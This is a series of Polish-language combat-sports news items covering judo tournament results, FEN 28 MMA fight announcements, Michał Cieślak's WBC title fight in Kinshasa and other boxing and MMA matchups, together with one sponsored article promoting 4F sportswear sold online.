Do Portugalii na zmagania w Pucharze Świata udało się siedem naszych judoczek. Najlepiej wizytę w Odivelas będzie wspominała Paula Kulaga (+78kg), która stanęła na najniższym stopniu podium. Polka zmagania zaczęła od wygranej z Filipą Sousą, jednak w kolejnym starciu po upływie ponad minuty musiała przełknąć gorzką pigułkę. Zawodniczka TDK Trzcianka przegrała z Włoszką Annalisą Calagreti, która dotychczas rywalizowała na poziomie juniorskim. Kułaga pozostawała w grze o podium, jednak musiała przebrnąć przez repasaże. Polka wygrała z Sofią Pirogovą i czekała ją rywalizacja o brąz. O medal walczyła z Anną Załęczną, która w półfinale przegrała przez ippon z piątą zawodniczką mistrzostw świata – Beatriz Souzą. W polskim pojedynku lepsza okazała się Kułaga, dla której był to czwarty medal (trzeci brązowy) Pucharu Świata w karierze.

Na siódmych lokatach zmagania zakończyły: Aleksandra Kaleta (52kg) i Natalia Kropska (63kg).

Z Sofii nasi judocy przywieźli dwa brązowe medale. Autorem jednego z nich jest trzeci zawodnik młodzieżowych mistrzostw Europy 2018 Oleksii Lysenko (100kg). Droga 23-latka do podium w Bułgarii prowadziła przez repasaże. Po pokonaniu Georgiego Dineva, reprezentant Polski przegrał z Dmitrim Dovganem. W repasażach Lysenko poradził sobie z 22-letnim Azerem Aslanem Mirzayevem. Zdeterminowany zawodnik AZS AWF Warszawa dominował w pojedynku o medal z Danylo Hustolem. Reprezentant Polski przeważał i zapisał na swoim koncie waza ari, a po upływie 3,5 minuty rozstrzygnął starcie przez ippon. Lysenko po raz pierwszy sięgnął po medal Pucharu Świata.

Brąz w Bułgarii wywalczył również utalentowany Adam Stodolski (73kg), który rozpoczyna seniorską karierę. Start w Sofii był dla judoki wyczerpujący, ponieważ stoczył aż sześć walk, ale start zakończył sukcesem. Wychowanek UKS Leśnik Kaczory znakomicie zaczął turniej. Polak wygrał trzy walki, jednak jego marsz powstrzymał Dmytro Kanivets. W repasażach Polak okazał się lepszy od Theo Riquina. 19-latkowi pozostało starcie z Mickaelem Duboisem, którego Stodolski pokonał przed czasem.

Piąte miejsce w Bułgarii zajął Kamil Grabowski (+100kg).

Fot. zdjęcie poglądowe

KM

FEN 28: Starcie pokoleń w Lublinie, Badurek podejmie Walczak

Izabela Badurek (7-6, 2 KO, 5 SUB) podejmie Izabelę Walczak (0-0) podczas gali FEN 28, która 28 marca odbędzie się w hali Globus w Lublinie. Pojedynek zakontraktowano w limicie kategorii muszej.

Badurek jeszcze nigdy nie wygrała swojego pojedynku na pełnym dystansie. Za każdym razem, gdy jej ręka wędrowała w górę po walce, zwycięstwo miało miejsce przed czasem. Zawodniczka z Lublina reprezentowała w przeszłości barwy największej na świecie federacji UFC. Podczas swojego debiutu pod szyldem FEN okazała się minimalnie gorsza od Katarzyny Lubońskiej – sędziowie niejednogłośnie przyznali zwycięstwo zawodniczce z Piły. Na swoim terenie Badurek będzie chciała wrócić na zwycięską ścieżkę.

Walczak ma niespełna 23 lata, pochodzi z Łęcznej i podczas gali FEN 28 dopiero zadebiutuje na zawodowstwie. W karierze amatorskiej Walczak stoczyła 8 pojedynków, z czego 7 wygrała. W kwietniu 2017 roku marcowa debiutantka pokonała decyzją sędziów Adriannę Stańkowską. Podczas gali Babilon MMA 7 w styczniu 2019 roku rozprawiła się na pełnym dystansie z Larą Fornal.

KARTA WALK FEN 28

65,8, MMA: Daniel Rutkowski VS Adrian Zieliński *
120,2, MMA: Szymon Bajor VS TBA *
93,0, MMA: Rafał Kijańczuk VS TBA
93,0, MMA: Paweł Trybała VS TBA
77,1, MMA: Szymon Dusza VS TBA
56,7, MMA: Izabela Badurek VS Izabela Walczak
120,2, MMA: Adam Pałasz VS TBA
70,3, MMA: Łukasz Charzewski VS Arbi Nashkhoev
TBA VS TBA
TBA VS TBA

* Walka o pas mistrzowski

Kup bilet na galę FEN 28 w Lublinie na portalu: www.eventim.pl. Studenci oraz uczniowie mogą nabyć bilety z 20% rabatem.

Dołącz do wydarzenia na portalu Facebook:  TUTAJ.

FEN Social Media:

Facebook:  facebook.com/fightexclusivenight/
Twitter:  twitter.com/fenmma
Instagram:  instagram.com/fightexclusivenight/

Pas nie dla Cieślaka

Michał Cieślak przegrał na punkty z Ilungą Makabu w pojedynku o pas mistrza świata WBC w kategorii junior ciężkiej.

30-letni Polak pojechał do Kinszasy zdeterminowany, aby sięgnąć po tytuł. Ta sztuka mu się jednak nie udała. Początek starcia badawczy, ale powoli rozkręcał się Cieślak, który trafiał Makabu sierpowymi. Sytuacja układała się po myśli polskiego pięściarza. Cieślak konsekwentnie słał kolejne ciosy w stronę rywala. Makabu był nieco zagubiony, jednak w czwartej rundzie pokazał, że Polak nie może czuć się zbyt pewnie. Bokser z Demokratycznej Republiki Konga zaprezentował siłę swojego ciosu i Cieślak był liczony. Na odpowiedź Polaka nie trzeba było długo czekać. W piątej odsłonie pięściarz urodzony w Radomiu posłał w stronę przeciwnika mocny cios. Makabu podparł się i był liczony.

Czas działał na korzyść boksera z Afryki. Można powiedzieć, że dał się wyszaleć Cieślakowi, który nadal ambitnie walczył, ale widać był ubytek sił. Coraz mniej ciosów Polaka dochodziło do celu. Na początku dziewiątej rundy Cieślak zaserwował Makabu mocny prawy sierpowy. Zarysowała się jednak przewaga 32-latka, który kontrolował pojedynek. Pozostawało coraz mniej czasu. Aby wygrać, Polak musiał znokautować rywala. Z pewnością Cieślakowi nie można odmówić serca do walki. Makabu przetrwał początkowy napór rywala, a później spokojnie budował swoją przewagę i po ostatnim gongu mógł wznieść ręce w geście triumfu. Sędziowie punktowali 114:112, 116:111, 115:111  na korzyść boksera z Demokratycznej Republiki Konga. Ilunga Makabu mistrzem WBC w kategorii junior ciężkiej. Michał Cieślak poniósł pierwszą porażkę w karierze.

Wokół mistrzowskiej walki nie brakowało emocji. Do pojedynku mogło nie dojść. Długo nie było wiadomo, kiedy i gdzie walka się odbędzie. Ponadto, w hotelu okradzeni zostali promotorzy Cieślaka. Na ostatniej prostej problemem okazały się pieniądze. Nie wiadomo było, czy stawką starcia będzie pas mistrzowski. Strona kongijska długo ociągała się z uregulowaniem wszelkich płatności. W końcu pieniądze się znalazły, a zostały dostarczone w… plecaku. Do tego warto wspomnieć o treningu medialnym, który miał miejsce na chodniku. Organizacja pojedynku w Kinszasie pozostawia wiele do życzenia. Mistrzowska walka odbyła się, Michał Cieślak jest bogatszy o nowe doświadczenie, ale do Polski wraca bez pasa.

KM

Czy dojdzie do porozumienia?

Wszyscy z zaciekawieniem obserwują rozwój wypadków związanych z ewentualnym pojedynkiem Mateusza Gamrota z Salahdinem Parnasse. Padają „uprzejmości”, a czy dojdzie do konkretów?

Ostatnie miesiące to walka Mateusza Gamrota z KSW. W maju zawodnik poinformował, że rozstaje się z polską organizacją. Właściciele KSW twierdzili jednak, że "Gamer" ma ważny kontrakt i takiego ruchu nie może wykonać. Strony rozmawiały i próbowały się porozumieć, ale bez efektu. Uczestnicy sporu tłumaczyli sytuację i wzajemnie obarczali się winą.

Rozwiązaniem całej sprawy może być kolejna walka Gamrota w KSW, w której zmierzyłby się z tymczasowym mistrzem wagi piórkowej Salahdine Parnasse. Bez wątpienia pojedynek byłby prawdziwym hitem. W programie "Klatka po klatce" popularny "Gamer" wyraził swoją gotowość do walki. Podkreślił, że kwestią sporną jest limit wagowy. Zawodnik gotów jest wystąpić w 69kg, a nie w 66kg. Ponadto, Gamrot zwrócił uwagę, że Francuz obawia się starcia z nim.

Na odpowiedź 22-letniego Parnasse nie trzeba było długo czekać. – KSW zorganizuje walkę w wadze 66kg. Nie spieszy mi się. Będziesz w stanie przygotować dietę. To będzie największe główne wydarzenie KSW 14-0 vs 15-0. Starcia tytanów. Walka roku – napisał Francuz w mediach społecznościowych.

Wola rywalizacji z obu stron została wyrażona, ale "kością niezgody" jest limit wagowy. Parnasse chce rywalizować w kategorii piórkowej. Z kolei Gamrot nie ma zamiaru aż tak zbijać wagi. Trzeba jednak przypomnieć, że w maju 2019 roku Francuz był gotów walczyć o pas wagi lekkiej. Z kolei Gamrot rywalizował w kategorii piórkowej z Kleberem Koike Erbstem. Rzecz jasna te sprawy obaj sobie przypomnieli. Chciałoby się powiedzieć „masz babo placek”.

Przepychanki trwają w najlepsze. Pytanie – czy strony osiągną kompromis. Bez dwóch zdań Gamrot i Parnasse mogliby stworzyć fenomenalne widowisko. Francuz w wielki stylu wszedł do KSW i wygrał pięć walk. Gamrot w polskiej organizacji odniósł 15 zwycięstw, a do tego miał w dorobku dwa pasy mistrzowskie, które zwakował w maju 2019 roku. Jeśli doszłoby do porozumienia, walka Polaka i Francuza odbyłaby się 21 marca podczas gali KSW 53.

Fot. Mateusz Gamrot Facebook

KM

Rozpędzony Charzewski przywita Arbiego pod banderą FEN

Łukasz Charzewski (8-1, 2 KO, 2 SUB) wystąpi podczas gali FEN 28 w Lublinie, która odbędzie się 28 marca. Zawodnik z Kamiennej Góry podejmie debiutującego w FEN Arbiego Nashkhoeva (3-0, 1 SUB).

Charzewski jest rozpędzony sześcioma kolejnymi zwycięstwami z rzędu, z czego dwa odniósł pod banderą FEN. Podczas 23. edycji w Lubinie poddał w 3. rundzie Łukasza Bieńka. W październiku 2019 roku na pełnym dystansie wygrał jednogłośnie z niepokonanym wcześniej Krystianem Blezieniem. Charzewski podczas obu swoich pojedynków dostarczył kibicom wielu emocji i udowodnił, że jest jednym z najlepszych polskich „lekkich”.

Nashkhoev jest mniej doświadczony od Charzewskiego, gdyż na swojej zawodowej ścieżce konfrontował się tylko z trzeba przeciwnikami. Co najważniejsze – wszystkie z tych pojedynków wygrał. Debiut Arbiego przypadł na 2015 rok, gdy jednogłośną decyzją sędziów pokonał Sylwestra Millera. Po dwóch wygranych Nashkhoev miał czteroletnią przerwę, po której wrócił do klatki z przytupem pokonując pod koniec 2019 roku Alana Kwiecińskiego.

KARTA WALK FEN 28

65,8, MMA: Daniel Rutkowski VS Adrian Zieliński*
120,2, MMA: Szymon Bajor VS TBA*
93,0, MMA: Rafał Kijańczuk VS TBA
93,0, MMA: Paweł Trybała VS TBA
77,1, MMA: Szymon Dusza VS TBA
56,7, MMA: Izabela Badurek VS TBA
120,2, MMA: Adam Pałasz VS TBA
70,3, MMA: Łukasz Charzewski VS Arbi Nashkhoev
TBA VS TBA
TBA VS TBA

*Walka o pas mistrzowski

Kup bilet na galę FEN 28 w Lublinie na portalu: www.eventim.pl. Studenci oraz uczniowie mogą nabyć bilety z 20% rabatem.

Dołącz do wydarzenia na portalu Facebook:  TUTAJ.

FEN Social Media:

Facebook:  facebook.com/fightexclusivenight/
Twitter:  twitter.com/fenmma
Instagram:  instagram.com/fightexclusivenight/

Czy to będzie wielki dzień?

31 stycznia Michał Cieślak stoczy najważniejszą walkę w karierze. W Kinszasie polski pięściarz zmierzy się z Ilungą Makabu o wakujący tytuł mistrza świata WBC wagi junior ciężkiej.

Trening każdego dnia, systematyczność, stosowanie się do diety i mnóstwo wyrzeczeń – kariera sportowca wymaga poświęceń, ale dobra praca procentuje. W końcu przychodzi dzień, w którym zawodnik może spełnić swoje marzenia. W grudniu Michał Cieślak został wyznaczony do walki o mistrzostwo świata WBC. – Jest tylko jeden sposób, by osiągnąć sukces: Dać z siebie wszystko. Wierzę w siebie i w to, że ten pas będzie w Radomiu. Nadszedł mój czas – sięgnę po swoje największe marzenia – podkreślał pięściarz w mediach społecznościowych. Ostatnie tygodnie były niezwykle intensywne w życiu 30-letniego pięściarza. Sama organizacja starcia w Demokratycznej Republice Konga oraz negocjacje nie były łatwe, ale 23 stycznia Cieślak podpisał kontrakt.

W najbliższy piątek (31 stycznia) bokser urodzony w Radomiu stoczy dwudziestą walkę w karierze. Bez wątpienia najważniejszą. – Po długich przygotowaniach, wielu komplikacjach nadchodzi czas by zawalczyć o największe marzenia – napisał kilka dni temu. Cieślak jest w drodze do Kinszasy, gdzie dojdzie do walki o pas WBC. Polski pięściarz będzie miał czas, aby przystosować się do klimatu i zapoznać się z obiektem. 31 stycznia wejdzie do ringu i postara się zrobić to, co Tony Bellew blisko cztery lata temu. W Liverpoolu Brytyjczyk wygrał w trzeciej rundzie z Ilungą Makabu, a stawką pojedynku był pas WBC. Trzeba jednak mieć na uwadze, że od tamtego czasu bokser z Demokratycznej Republiki Konga stoczył siedem walk i wszystkie wygrał. W 2019 roku Makabu pokonał Dmitrija Kudriaszowa i Alekseja Papina. 32-latek zadomowił się w czołówce wagi junior ciężkiej i w końcu chce stać się mistrzem.

Z pewnością Cieślak nie ma zamiaru ułatwiać zadania Makabu. W 2019 roku Polak pokonał byłego tymczasowego mistrza świata WBA Youriego Kalengę i Olanrewaju Durodolę. Oba pojedynki Cieślak wygrał przed czasem. 30-latek jeszcze nigdy nie przegrał na zawodowym ringu. Oby tak zostało. Niech z tej wyprawy Cieślak wróci z cennym łupem.

Fot. materiały prasowe

KM

FighTime Live – 28.01.2020

Zapraszamy na retransmisję z gal finałowych Mistrzostw Polski K-1 w latach: 2017, 2018, 2109.

Dziś w programie:

12.00 – Mistrzostwa Polski K-1 – 2017
13.20 – Mistrzostwa Polski K-1 – 2018
15.20 – Mistrzostwa Polski K-1 – 2019
16.40 – Zakończenie programu

Bokser rywalem McGregora?

Conor McGregor próbował swoich sił w boksie, jednak przegrał z Floydem Mayweatherem Jr. Teraz miałby spotkać się z pięściarzem Terence'm Crawfordem. Takiego zestawienia chciałby promotor Bob Arum.

Rzecz wydaje się ciekawa o tyle, że chodzi o organizację dwóch pojedynków. Arum chciałby, aby zawodnicy najpierw spotkali się w zmaganiach na zasadach MMA, a potem w rywalizacji bokserskiej. – Nie możemy być niesprawiedliwi wobec zawodników z MMA i zestawiać ich do walki z elitarnymi pięściarzami w ringu – powiedział dla Fighthub Bob Arum.

Z pewnością rywalizacja z McGregorem byłaby okazją do promocji dla Crawforda. Bez dwóch zdań 32-letni pięściarz należy do światowej czołówki, o czym świadczą jego dokonania. W końcu ma na koncie pas mistrzowski WBO w wadze półśredniej. Wcześniej zdominował rywalizację w kategorii lekkopółśredniej, jednak w tym zestawieniu lepszą pozycję przetargową ma Irlandczyk. McGregor w udanym stylu powrócił do MMA i w ekspresowym tempie pokonał Donalda Cerrone. Były mistrz UFC ma wiele propozycji. Z pewnością sam chciałby zrewanżować się Mayweatherowi za porażkę z sierpnia 2017 roku. Mówi się też o jego starciu z Mannym Pacquiao. Teraz do gry wchodzi Crawford, a dokładniej Bob Arum. – Terence Crawford chce walczyć z McGregorem w oktagonie, a trzy miesiące później w ringu bokserskim – tłumaczy promotor. Crawford ma doświadczenie w zapasach. Myślę, że poradziłby sobie w oktagonie z McGregorem – dodaje.

Crawford jest niepokonany na zawodowym ringu. Wygrał 36 pojedynków, w tym 27 przez nokaut. W 2019 roku przed czasem Amerykanin pokonał Amira Khana i Egidijusa Kavaliauskasa. Bój z McGregorem byłby dla mistrza WBO wyzwaniem, ale i szansą na duże zarobki. – Mamy nadzieję, że to zrobimy. Z pewnością będzie to korzystne dla jego konta bankowego – zaznacza Arum.

Jak podkreślaliśmy Crawford należy do światowej czołówki, ale większość czołówki jego kategorii związana jest z konkurującym z Arumem – Alem Haymonem. W związku z tym 88-letni promotor szuka ciekawych rozwiązań, które zapewnią jego klientowi rozgłos i duże pieniądze.

Fot. Conor McGregor Facebook

KM

Sklep internetowy 4F – dlaczego warto kupować w sieci?

Jesteś osobą aktywną, która chętnie ćwiczy na świeżym powietrzu? Z całą pewnością niejednokrotnie przekonałeś się więc o tym, jak ważne jest to, co masz na sobie.

Odpowiednio dobrana odzież zapewnia komfort cieplny, odprowadza pot a przy tym nie krępuje ruchów. Z tego właśnie powodu coraz więcej osób stawia na markowe, sportowe ubrania, które wykonane są z najwyższej jakości materiałów. Jedną z marek, która jest nam w stanie je zaoferować jest 4F. Sprawdźmy więc ubrania tej firmy i dowiedzmy się, dlaczego kupowanie ich w sieci to najlepszy wybór.

Co warto wiedzieć o marce 4F?

Marka 4F już od kilku lat cieszy się ogromną popularnością sór osób, które lubią żyć aktywnie a jednocześnie cenią sobie najwyższą jakość tkanin. Firma ta słynie nie tylko z nowoczesnego, modnego wzornictwa, ale również z wykorzystywania najnowocześniejszych technologii i modnych materiałów. Nic więc dziwnego, że ubiera wielu znanych, polskich sportowców, w tym również olimpijczyków.
Nie da się jednak ukryć, że wiele osób rezygnuje z zakupu odzieży tej marki uznając, że sklep 4f jest dla nich zwyczajnie za drogi. Jak się okazuje – zupełnie niepotrzebnie. Produkty, które oferuje 4f sklep nie muszą bowiem kosztować kroci. Wystarczy, że podejdziemy do zakupów w nowoczesny sposób.  

Sklep internetowy 4F – co możesz w nim znaleźć?

Odzież 4f dostępna jest nie tylko w sieci placówek stacjonarnych, wśród których wymienić możemy zarówno sklepy firmowe, ale również inne sklepy sportowe. Większość z nich chce zarobić, co oznacza, że do ubrań f4 sprzedawcy dodają swoją marżę. Co więcej, oferta produktów, którą możemy znaleźć w ofercie stacjonarnych sklepów 4F jest mocno ograniczona. 

Nic więc dziwnego, że producent zadbał o to, by jego ubrania były dostępne również w ofercie sklepów internetowych. Jednym z miejsc, w których możemy znaleźć odzież tego producenta jest strona https://www.natychmiastowo.pl/producent/4f. W ofercie znajdziemy kurtki, buty, rękawiczki, spodnie, koszulki oraz znacznie więcej produktów 4F. Kupowanie ubrań przez internet to spora wygoda i oszczędność czasu. Nic więc dziwnego, że z rozwiązania tego korzysta coraz więcej klientów.

Dlaczego jeszcze warto kupować w sieci?

Poza wygodą, oszczędnością czasu oraz dostępem do całości oferty sklepu 4F kupowanie ubrań w internecie jest zwyczajnie opłacalne. Ceny są bowiem znacznie bardziej atrakcyjne niż w przypadku sklepów stacjonarnych. Co więcej, w sieci o wiele częściej znajdujemy wyprzedaże, promocje czy rabaty, dzięki którym możemy zapłacić jeszcze mniej. Słowem – to po prostu się opłaca.
Warto również wspomnieć o tym, że korzystanie z oferty sklepu 4F przez internet jest bezpieczne – nie pasujące ubrania możemy zwrócić bez żadnego problemu. 

Podsumowując, jeśli żyjesz aktywnie i lubisz sportową odzież wysokiej jakości odzież 4f spełni wszystkie twoje oczekiwania. Jeśli dodatkowo zamówisz ją w sklepie internetowym zyskasz nie tylko pełnię komfortu w każdych warunkach, ale również sporo zaoszczędzisz. Nic więc dziwnego, że coraz więcej osób korzysta z tego rozwiązania.

Niepokonany ciężki Pałasz zawalczy na FEN 28 w Lublinie

Adam Pałasz (4-0, 3 KO, 1 SUB) wystąpi na gali FEN 28 w Lublinie, która 28 marca odbędzie się w hali Globus w Lublinie. Tym występem rozpocznie się kolejny rozdział w karierze zawodnika z Wrocławia.

Pałasz na zawodowstwie przebywa od listopada 2018 roku. Fighter Rio Grapling Wrocław rozprawił się w premierowej odsłonie z Patrykiem Świtoniem. Miesiąc wcześniej w 1. rundzie znokautował Hazbi Edelbieva. Po znokautowaniu Dawida Ostaszewskiego w maju 2019 roku dwa miesiące później Pałasz zanotował pierwsze poddanie, od kiedy zawodowo walczy. Mataleo w 2. rundzie odklepał znany polskiej publiczności Mateusz Łazowski.

Kup bilet na galę FEN 28 w Lublinie na portalu: www.eventim.pl.

Dołącz do wydarzenia na portalu Facebook:  TUTAJ.

FEN Social Media:
Facebook:  facebook.com/fightexclusivenight/
Twitter:  twitter.com/fenmma
Instagram:  instagram.com/fightexclusivenight/

Brąz Piotra Kuczery

W Tel Avivie odbyły się zawody Grand Prix w judo. Polska zakończyła rywalizację z jednym medalem, który zdobył Piotr Kuczera (90kg).

Do Izraela pojechała 18-osobowa ekipa biało-czerwonych. Każdy z judoków ma świadomość, że walka o igrzyska olimpijskie wchodzi w decydującą fazę, więc ważne są medale i zdobywane punkty. W Tel Avivie na trzecim stopniu podium stanął Piotr Kuczera. Zawodnik Kejza Team Rybnik zaczął zmagania od wygranej z Nadavem Zuratem przez waza ari. Potem Polak pokonał solidnego zawodnika z Tadżykistanu Komronshokha Ustopiriyona i Australijczyka Harrisona Cassara. W kolejnym starciu Kuczera przegrał z mistrzem świata juniorów z 2014 roku Rafaelem Macedo i trafił do repasaży, w których po upływie dwóch minut wygrał z Coltonem Brownem. O podium polski judoka walczył z Davlatem Bobonovem. Kuczera wygrał piąty pojedynek w Izraelu i mógł cieszyć się z brązowego krążka. – Dziś jestem bardzo zadowolony ze startu, a przede wszystkim z tego, że przygotowania do sezonu przebiegły jak widać bardzo dobrze! Nie było by to możliwe bez Was i waszego wsparcia! – podzielił się wrażeniami w mediach społecznościowych judoka.

Blisko podium była Anna Borowska (57kg). Polska judoczka zaczęła start w Izraelu od dwóch wygranych. W trzecim starciu przegrała z brązową medalistką igrzysk w Rio de Janeiro Telmą Monteiro. Polka pozostała w grze o podium. W repasażach wygrała z Czeszką Verą Zemanovą, ale o brąz przegrała z Węgierką Hedvig Karakas, która w ubiegłym roku w Izraelu była piąta. – Myślę, że zbliżam się do niechlubnego rekordu IJF World Judo Tour jeśli chodzi o ilość przegranych pojedynków o brązowy medal w turniejach rangi GP i GS – napisała w mediach społecznościowych Anna Borowska.

Na trzeci medal imprezy rangi Grand Prix musi poczekać Karolina Pieńkowska (52kg). W Tel Avivie Polka miała szansę na miejsce na podium. Pieńkowska wygrała trzy walki, jednak w półfinale przegrała z Koreanką Bokyeong Jeong. W starciu o brąz polska zawodniczka przegrała z siódmą judoczką ubiegłorocznych mistrzostw świata Charline van Snick.

Trzy pojedynki w Tel Avivie wygrał Kacper Szczurowski (100kg), jednak musiał zadowolić się piątą lokatą. W starciu o brąz lepszy od Polaka okazał się Karl-Richard Frey.

KM

O pasy w kwietniu?

Wszystko wskazuje na to, że do starcia Krzysztofa Głowackiego z Lawrencem Okolie o pas mistrza świata WBO wagi junior ciężkiej dojdzie na przełomie marca i kwietnia. Możliwe, że przesunie się termin pojedynku Kamila Szeremety z Giennadijem Gołowkinem.

Ubiegły rok obfitował w liczne zwroty akcji w karierze Krzysztofa Głowackiego. Były mistrz świata WBO przegrał w kontrowersyjnych okolicznościach z Mairisem Briedisem w półfinale turnieju World Boxing Super Series. Łotysz uderzył Polaka łokciem, a także po gongu. Obóz Głowackiego złożył odwołanie.

Po upływie kilku miesięcy WBO zdecydowało, że Briedis ma stoczyć rewanż z pięściarzem urodzonym w Wałczu. Łotysz wybrał jednak finał WBSS i pozostawił pas WBO. Tym samym pewne stało się, że o wakujący tytuł powalczy Głowacki. Jego rywalem będzie Lawrence Okolie. Rozmowy w sprawie organizacji pojedynku są zaawansowane. Prawdopodobnie Głowacki spotka się z Okolie na przełomie marca i kwietnia. Kilka tygodni temu Brytyjczyk mówił, że chciałby, aby walka odbyła się w Stanach Zjednoczonych. Warto dodać, że 27-letni Okolie wygrał 14 zawodowych walk, w tym 11 przed czasem.

Przypomnijmy, że Głowacki był mistrzem świata WBO w latach 2015-2016. Tytuł zdobył pokonując Marco Hucka. Dla Okolie będzie to pierwsza szansa na zdobycie pasa.

Zwycięzca starcia o pas WBO zmierzy się z kimś z pary Dilian Prasović – Edin Puhalo. Pięściarze zostali wyznaczeni do stoczenia pojedynku eliminacyjnego do tytułu mistrza świata.

Kiedy Szeremeta?

Przed wielką szansą stanie Kamil Szeremeta, który zmierzy się z Giennadijem Gołowkinem. Stawką pojedynku będzie pas mistrza świata IBF wagi średniej. O starciu mówi się od kilku tygodni, obozy osiągnęły porozumienie. Dotychczas pojedynek planowano na 28 marca w Chicago, ale prawdopodobnie termin ten ulegnie zmianie. Platforma DAZN pokaże wtedy starcie Vergila Ortiza. Walka Szeremety z Gołowkinem przesunie się minimum o tydzień.

Kazach sięgnął po tytuł w październiku w Madison Square Garden. Gołowkin pokonał Sergieja Derewianczenkę. Podczas tej samej gali zaprezentował się Szeremeta, który przed czasem wygrał z Oscarem Cortesem. Dla Polaka był to pierwszy występ w Stanach Zjednoczonych.

Fot. Krzysztof Głowacki Facebook

KM

Wach rywalem Parkera?

Mariusz Wach jest kandydatem do rywalizacji z Josephem Parkerem. Taką informację na Twitterze podał ekspert bokserski Maciej Miszkin.

Były mistrz świata organizacji WBO ma zaplanowany kolejny pojedynek na 29 lutego w The Ford Center at The Star w Frisco. Rywalem Nowozelandczyka miałby być Mariusz Wach. Informację o tym, że Polak jest pierwszy wyborem dla Parkera przekazał na Twitterze Maciej Miszkin. – Jeśli tak to szybko przyszły owoce dobrej postawy z Whyte – napisał komentator.

Ostatni raz Polak zaprezentował się 7 grudnia w Arabii Saudyjskiej, podczas gali, której głównym wydarzeniem był mistrzowski pojedynek Andy'ego Ruiza Jr. i Anthony'ego Joshuy. Wach zmierzył się z Dillianem Whytem. Co prawda "Wiking" przegrał jednogłośnie na punkty, ale na przestrzeni całej walki zaprezentował się jako godny rywal dla tymczasowego czempiona federacji WBC. Kilka ciosów Polaka zrobiło wrażenie na pięściarzu urodzonym na Jamajce.

Dobra postawa Wacha może przynieść efekty. Parker byłby kolejnym mocnym nazwiskiem na liście Polaka. W swojej karierze Wach miał okazję rywalizować o pasy mistrzowskie IBF, WBA, IBO i WBO z Władimirem Kliczko. W listopadzie 2012 roku w Hamburgu polski pięściarz przegrał na punkty, ale okazało się, że stosował niedozwolone środki i został zawieszony na osiem miesięcy. Po powrocie, październik 2014 roku, Wach wygrał cztery pojedynki i otrzymał szansę rywalizacji o tytuł WBC silver z Aleksandrem Powietkinem. W Kazaniu Polak przegrał przez techniczny nokaut w dwunastej rundzie. Potem pokonał Marcelo Luiza Nascimento i Erkana Tepera, ale trzy kolejne pojedynku przegrał. Wach poprawił bilans w starciach z bokserami z Gruzji, które zakończył przed czasem. W grudniu otrzymał szansę rywalizacji z Whyte’m i pokazał, że nadal może rywalizować na wysokim poziomie.

W 2019 roku Parker boksował tylko raz – pokonał Alexa Leapaia. Wcześniej pokonał przez nokaut Alexandra Floresa. Parker ma na koncie dwie porażki w zawodowej karierze. Nowozelandczyk przegrał bój o panowanie w wadze ciężkiej z Anthony'm Joshuą, zanotował również porażkę z Dillianem Whytem.

Pozostaje czekać na rozwój wypadków. Dla Wacha rywalizacja z Parkerem byłaby kolejną szansą na ciekawe doświadczenie i pokazanie się szerszemu gremium. Różnica wieku między bokserami wynosi trzynaście lat. Parker chce wrócić na szczyt, zaś Wach zbliża się do emerytury. Mocny Polak mógłby napsuć jednak sporo krwi byłemu czempionowi.

Fot. Mariusz Wach Facebook

KM

Celiński wystąpi w Kazachstanie

6 marca Karol Celiński wystąpi na gali ACA 105 w Ałmatach. Jego rywalem będzie Evgeniy Egemberdiev.

Z organizacją ACA (wcześniej ACB) związanych jest wielu polskich zawodników MMA. Gale często odbywają się w naszym kraju. Od dłuższego czasu z powodzeniem w ACA rywalizuje Karol Celiński. Zawodnik urodzony w Olsztynie w rosyjskiej organizacji debiutował blisko trzy lata temu. Podczas gali ACB 53 pokonał przed czasem Łukasza Parobca. Celiński wygrał trzy kolejne walki i zasłużył na starcie o pas mistrzowski. 

16 lutego 2019 roku w Warszawie Polak zmierzył się z Dowledżchanem Jagszimuradowem. Zawodnik z Turkmenistanu wygrał w czwartej rundzie. Celiński był bezradny wobec potężnych łokci rywala, w wyniku których na jego głowie pojawiło się rozcięcie. Do czwartej rundy "Cebula" imponował ambicją, ale mistrz znalazł sposób na pretendenta. Pierwsza porażka Celińskiego stała się faktem, ale również kolejny występ nie zakończył się po myśli Polaka. Podczas ACA 96 Luke Barnatt znokautował zawodnika urodzonego w Olsztynie po upływie półtorej minuty. Celiński przerwał złą passę, w Warszawie (ACA 101) Polak zdominował Samiego Antara. "Cebula" kontrolował walkę i słał w stronę przeciwnika kolejne ciosy. Jego zwycięstwo nie podlegało żadnej dyskusji.

6 marca przed Celińskim kolejne wyzwanie. Polak zaprezentuje się w Kazachstanie podczas gali ACA 105, a jego rywalem będzie Evgeniy Egemberdiev. 34-latek ma zdecydowanie mniejsze doświadczenie niż Celiński. Egemberdiev stoczył dwanaście zawodowych walk, zaś Polak – 25. W ostatnim występie zawodnik z Kazachstanu przegrał przez techniczny nokaut w pierwszej rundzie z Aleksejem Butorinem. Wcześniej pokonał m.in. Batraza Agnaeva (ACA 95)  i Ivana Lukina (ACA 91).

W Ałmatach dojdzie również do rywalizacji Artema Reznikova z Khamzatem Aushevem. 28-letni Kazach wygrał sześć ostatnich walk, zaś Rosjanin ma świetną passę jedenastu triumfów. Podczas gali ACA 105 kolejną walkę dla organizacji stoczy Muslim Magomedov. Jego przeciwnikiem będzie Carlos Eduardo.

Fot. Karol Celiński Facebook

KM

Ruszyła fala

Conor McGregor powrócił w wielkim stylu. Podczas gali UFC 246 w Las Vegas Irlandczyk w zaledwie 40 sekund uporał się z Donaldem Cerrone. Teraz pojawiają się pytania o przyszłość McGregora.

Ponad trzy lata czekał na kolejne zwycięstwo w UFC Irlandczyk. Ostatnią walkę w amerykańskiej organizacji McGregor stoczył w październiku 2018 roku, kiedy to przegrał z Khabibem Nurmagomiedowem. Sam zawodnik mówił nawet o zakończeniu kariery, ale tak się nie stało. 18 stycznia zobaczyliśmy go w Las Vegas, gdzie udowodnił swoją wartość. Irlandczyk szybko rozprawił się z Donaldem Cerrone. Wysokie kopnięcie osłabiło Amerykanina, a McGregor zasypał go ciosami. Sędzia nie miał wyboru i przerwał walkę.

Przed pojedynkiem z Cerrone spekulowano, co będzie dalej z Irlandczykiem. Karty są po stronie byłego czempiona UFC. Po efektownym zwycięstwie wrócił temat rewanżowego starcia 31-latka z Nurmagomiedowem. Nie da się ukryć, że to byłoby wielkie wydarzenie w UFC. Ból głowy może mieć szef organizacji Dana White, żeby zaspokoić potrzeby finansowe zawodników. Ojciec Dagestańczyka powiedział, że rewanż jest możliwy, ale oczekują za starcie 100 milionów dolarów. Najpierw jednak czempion wagi lekkiej skupia się na przygotowaniach do pojedynku z Tony'm Fergusonem. Walka z Amerykaninem odbędzie się 18 kwietnia w Nowym Jorku podczas gali UFC 249.

